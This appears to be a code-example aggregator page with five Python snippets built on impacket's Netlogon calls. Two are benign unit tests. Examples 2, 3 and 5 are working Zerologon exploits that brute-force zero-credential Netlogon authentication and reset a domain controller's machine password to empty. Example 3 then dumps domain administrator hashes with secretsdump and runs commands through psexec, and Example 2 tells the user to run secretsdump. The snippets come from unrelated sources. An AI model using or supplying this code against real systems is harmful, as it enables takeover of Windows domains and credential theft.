Example #1
0
    def test_NetrServerPasswordSet2(self):
        # It doesn't do much, should throw STATUS_ACCESS_DENIED
        dce, rpctransport = self.connect()
        request = nrpc.NetrServerPasswordSet2()
        request['PrimaryName'] = NULL
        request['AccountName'] = self.machineUser + '\x00'
        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
        request['ComputerName'] = self.serverName + '\x00'
        request['Authenticator'] = self.update_authenticator()
        cnp = nrpc.NL_TRUST_PASSWORD()
        cnp['Buffer'] = b'\x00'*512
        cnp['Length'] = 0x8

        request['ClearNewPassword'] = cnp.getData()
        #request['ClearNewPassword'] = nrpc.NL_TRUST_PASSWORD()
        #request['ClearNewPassword']['Buffer'] = b'\x00' *512
        #request['ClearNewPassword']['Length'] = 0x8

        try:
            request.dump()
            resp = dce.request(request)
            resp.dump()
        except Exception as e:
            if str(e).find('STATUS_ACCESS_DENIED') < 0:
                raise
Example #2
0
def perform_attack(dc_handle, dc_ip, target_computer):
    ciphertext = b'\x00' * 8
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break

    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        print('\nSTAGE 2:')
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = ciphertext
        authenticator['Timestamp'] = 0
        newpass = nrpc.NL_TRUST_PASSWORD()
        newpass['Buffer'] = b'\x00' * 512
        newpass['Length'] = 0
        test = nrpc.hNetrServerPasswordSet2(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', authenticator, newpass)
        print(
            'Should have worked. Run secretsdump.py -just-dc-ntlm "domain.tld/DCHOSTNAME\$@DC-IP", and hit that enter button'
        )
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
Example #3
0
def perform_attack(dc_handle, dc_ip, target_computer, target_da="Administrator"):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):
    rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer)


    if rpc_con == None:
        print('=', end='', flush=True)
    else:
        break
  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
    plaintext = b'\x00' * 8
    sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None)
    ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
    clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
    CLP = nrpc.NL_TRUST_PASSWORD()
    CLP['Buffer'] = b'\x00' * 512
    CLP['Length'] = '\x00\x00\x00\x00'
    blah = nrpc.hNetrServerPasswordSet2(
        rpc_con, dc_handle + '\x00',
        target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
        target_computer + '\x00',
        update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516
    )
    blah.dump()
    import secretsdump, psexec
    class SDOptions:
        def __init__(self):
            self.use_vss = False
            self.target_ip = dc_ip
            self.outputfile = './dumped.tmp'
            self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
            self.exec_method = "smbexec"
            self.just_dc = True
            self.just_dc_ntlm = True
            self.just_dc_user = target_da
            self.pwd_last_set = self.user_status = self.resumefile = \
            self.k = self.history = self.ntds = self.sam = self.security = \
            self.system = self.aesKey = self.bootkey = None
            self.dc_ip = dc_ip
    class PSOptions:
        def __init__(self):
            self.help = False
    dump = secretsdump.DumpSecrets(dc_ip, target_computer+'$', '', '', SDOptions()).dump()
    f= open("dumped.tmp.ntds").read()
#    print(f)
    hashes = ':'.join(f.split(':')[2:-3])
    print(hashes)
    psexec = psexec.PSEXEC('powershell.exe -c Reset-ComputerMachinePassword', None, None, None, hashes=hashes, username=target_da, serviceName='f****d')
    psexec.run(dc_name, dc_ip)
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)
Example #4
0
    def test_hNetrServerPasswordSet2(self):
        # It doesn't do much, should throw STATUS_ACCESS_DENIED
        dce, rpctransport = self.connect()
        cnp = nrpc.NL_TRUST_PASSWORD()
        cnp['Buffer'] = b'\x00'*512
        cnp['Length'] = 0x8

        try:
            resp = nrpc.hNetrServerPasswordSet2(dce, NULL, self.machineUser,
                                                 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
                                                 self.serverName, self.update_authenticator(), cnp.getData())
            resp.dump()
        except Exception as e:
            if str(e).find('STATUS_ACCESS_DENIED') < 0:
                raise
Example #5
0
def perform_attack(dc_handle, dc_ip, target_computer):
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break

    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        print('Trying to set empty password for DC computer password.')
        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81
        # use latest impacket: credits goes to @_dirkjan https://github.com/SecureAuthCorp/impacket/pull/951
        nrpc_Authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        nrpc_Authenticator["Credential"] = b'\x00' * 8  # same as ciphertext
        nrpc_Authenticator["Timestamp"] = 0
        nrpc_Password = nrpc.NL_TRUST_PASSWORD()
        nrpc_Password['Buffer'] = b'\x00' * 516
        nrpc_Password['Length'] = '\x00' * 4
        request = nrpc.NetrServerPasswordSet2()
        request['PrimaryName'] = target_computer + '\x00'
        request['AccountName'] = target_computer + '$\x00'
        request['ComputerName'] = target_computer + '\x00'
        request['Authenticator'] = nrpc_Authenticator
        request['ClearNewPassword'] = nrpc_Password
        request[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        req = rpc_con.request(request)
        print("Success")
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive
        #print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
            #serverCred = Crypt1.encrypt(serverChallenge)
            #print("server cred", serverCred)
            #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #clientCred = clientCrypt.encrypt(b'\x00'*8)
            #print("client cred", clientCred)
            #timestamp_var = 10
            #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
            #print("client stored cred", clientStoredCred)
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
            #print("authenticator cred", authenticatorCred)
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # timestamp_var
            #request = nrpc.NetrLogonGetCapabilities()
            #request['ServerName'] = '\x00'*20
            #request['ComputerName'] = target_computer + '\x00'
            #request['Authenticator'] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            #request['QueryLevel'] = 1
            #resp = rpc_con.request(request)
            #resp.dump()

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()
            request["ClearNewPassword"]["Buffer"] = b'\x00' * 512
            request["ClearNewPassword"][
                "Length"] = 0  # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes
            resp = rpc_con.request(request)
            resp.dump()

            #request['PrimaryName'] = NULL
            #request['ComputerName'] = target_computer + '\x00'
            #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
            #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
            #resp = rpc_con.request(request)
            #resp.dump()
        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')